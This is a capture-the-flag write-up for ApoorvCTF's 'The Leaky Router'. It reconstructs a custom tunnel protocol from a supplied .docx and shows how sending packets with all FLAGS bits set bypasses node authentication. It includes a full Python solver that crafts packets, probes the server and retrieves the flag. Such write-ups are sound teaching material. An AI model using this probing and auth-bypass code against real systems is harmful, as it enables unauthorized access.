The Leaky Router
The Leaky Router - Detailed Writeup#
Challenge Info#
- CTF: ApoorvCTF
- Category: Misc / Network Protocol
- Target:
chals3.apoorvctf.xyz:3001 - Given file:
rtun_protocol_reference.docx - Flag format:
apoorvctf{...}
1) Initial Triage#
We were given a .docx and a raw TCP endpoint. .docx files are ZIP containers, so the first step is to inspect and extract contents.
Commands#
unzip -l rtun_protocol_reference.docx
mkdir -p docx_unzipped
unzip -o rtun_protocol_reference.docx -d docx_unzippedbashThen we extract human-readable text from Word XML.
from xml.etree import ElementTree as ET
ns = {'w': 'http://schemas.openxmlformats.org/wordprocessingml/2006/main'}
root = ET.parse('docx_unzipped/word/document.xml').getroot()
for t in root.findall('.//w:t', ns):
if (t.text or '').strip():
print(t.text)pythonImportant recovered protocol details#
From the document:
- Packet format (big-endian):
VERSION(1)FLAGS(1)TUNNEL_ID(4)INNER_PROTO(1)PAYLOAD_LEN(2)PAYLOAD(variable, max 511)CRC32(4)
- CRC32 is zlib CRC over all bytes except CRC field itself.
- Two sections were intentionally missing:
TUNNEL_IDvaluesINNER_PROTOvalues
So the solve path is to implement packet crafting + protocol inference.
2) Protocol Reconstruction#
We build a minimal client that sends binary packets and reads one-line ASCII responses.
Core packet builder#
import struct, zlib
def build_packet(version, flags, tunnel_id, inner_proto, payload=b''):
body = struct.pack('>BBIBH', version, flags, tunnel_id, inner_proto, len(payload)) + payload
crc = zlib.crc32(body) & 0xffffffff
return body + struct.pack('>I', crc)pythonSender#
import socket
def send_packet(host, port, pkt):
s = socket.create_connection((host, port), timeout=4)
s.settimeout(4)
s.sendall(pkt)
data = s.recv(4096)
s.close()
return data.decode('latin1', errors='replace').strip()python3) Controlled Fuzzing / Enumeration#
Step A: Confirm version and basic validity#
VERSION=0returnedERR_VERSIONVERSION=1accepted- Bad CRC returned
ERR_CHECKSUM
This confirmed our packet layout and CRC implementation are correct.
Step B: Discover known nodes (TUNNEL_ID)#
By probing tunnel IDs:
TUNNEL_ID=1was reachable (Node1)TUNNEL_ID=2existed but required auth (ERR_AUTH: session token mismatch)TUNNEL_ID=3existed but restricted (Node 3 only accepts packets from Node 2)
Step C: Discover protocol IDs (INNER_PROTO)#
For reachable contexts, valid protocols were inferred from server errors:
0x01: greet/message behavior (hello NodeX, ...)0x02: command mode requiring payloadSTATUS0x03: flag request mode (FLAG_REQ ...)0x04: echo mode requiring non-empty payload0x05+: unknown protocol
Step D: Identify auth bypass condition#
Critical test:
- Sending to Node2 with
FLAGSin0..254=> alwaysERR_AUTH: session token mismatch - Sending with
FLAGS=255(0xff) => auth bypass andOK hello Node2...
Same for Node3: FLAGS=0xff bypassed restriction and allowed direct interaction.
This is the vulnerability: improper FLAGS validation leading to auth bypass when all bits are set.
4) Final Exploit Logic#
Now that Node3 is reachable with FLAGS=0xff, we use the discovered protocol contract:
- Target:
TUNNEL_ID=3 - Operation:
INNER_PROTO=3(FLAG_REQ) - Required payload: exact string
GIVE_FLAG
Final exploit packet fields#
VERSION = 1FLAGS = 0xFFTUNNEL_ID = 3INNER_PROTO = 3PAYLOAD = b"GIVE_FLAG"
Server response:
RTUN/1.0 OK FLAG=apoorvctf{tun3l_v1s10n_byp4ss}
5) Full Solver Code#
Saved as: solve.py
#!/usr/bin/env python3
import argparse
import socket
import struct
import zlib
def build_packet(version: int, flags: int, tunnel_id: int, inner_proto: int, payload: bytes) -> bytes:
body = struct.pack(
">BBIBH",
version & 0xFF,
flags & 0xFF,
tunnel_id & 0xFFFFFFFF,
inner_proto & 0xFF,
len(payload) & 0xFFFF,
) + payload
crc = zlib.crc32(body) & 0xFFFFFFFF
return body + struct.pack(">I", crc)
def send_packet(host: str, port: int, packet: bytes, timeout: float = 4.0) -> str:
with socket.create_connection((host, port), timeout=timeout) as s:
s.settimeout(timeout)
s.sendall(packet)
data = s.recv(4096)
return data.decode("latin1", errors="replace").strip()
def probe(host: str, port: int) -> None:
tests = [
(1, 0x00, 1, 1, b""),
(1, 0x00, 3, 1, b""),
(1, 0xFF, 3, 1, b""),
(1, 0xFF, 3, 3, b"GIVE_FLAG"),
]
for version, flags, tid, proto, payload in tests:
pkt = build_packet(version, flags, tid, proto, payload)
resp = send_packet(host, port, pkt)
print(
f"version={version} flags=0x{flags:02x} tunnel={tid} proto={proto} payload={payload!r}\n"
f" -> {resp}\n"
)
def get_flag(host: str, port: int) -> str:
packet = build_packet(
version=1,
flags=0xFF,
tunnel_id=3,
inner_proto=3,
payload=b"GIVE_FLAG",
)
return send_packet(host, port, packet)
def main() -> None:
parser = argparse.ArgumentParser(description="ApoorvCTF - The Leaky Router solver")
parser.add_argument("--host", default="chals3.apoorvctf.xyz")
parser.add_argument("--port", type=int, default=3001)
parser.add_argument("--mode", choices=["probe", "flag"], default="flag")
args = parser.parse_args()
if args.mode == "probe":
probe(args.host, args.port)
else:
print(get_flag(args.host, args.port))
if __name__ == "__main__":
main()python6) Reproduction#
Run:
python3 solve.py --mode flagbashExpected output:
RTUN/1.0 OK FLAG=apoorvctf{tun3l_v1s10n_byp4ss}textOptional protocol demonstration:
python3 solve.py --mode probebash7) Why the exploit works#
- Server uses
FLAGSas a bitmask but appears to perform unsafe auth logic for0xff. - Reserved bits (3-7) were documented as “must be 0”, but server fails to enforce this and instead grants unintended access.
- With
FLAGS=0xff, auth restrictions to Node2/Node3 are bypassed. - Node3 then accepts
FLAG_REQ(INNER_PROTO=3) only when payload is exactlyGIVE_FLAG, returning the flag.
Final Flag#
apoorvctf{tun3l_v1s10n_byp4ss}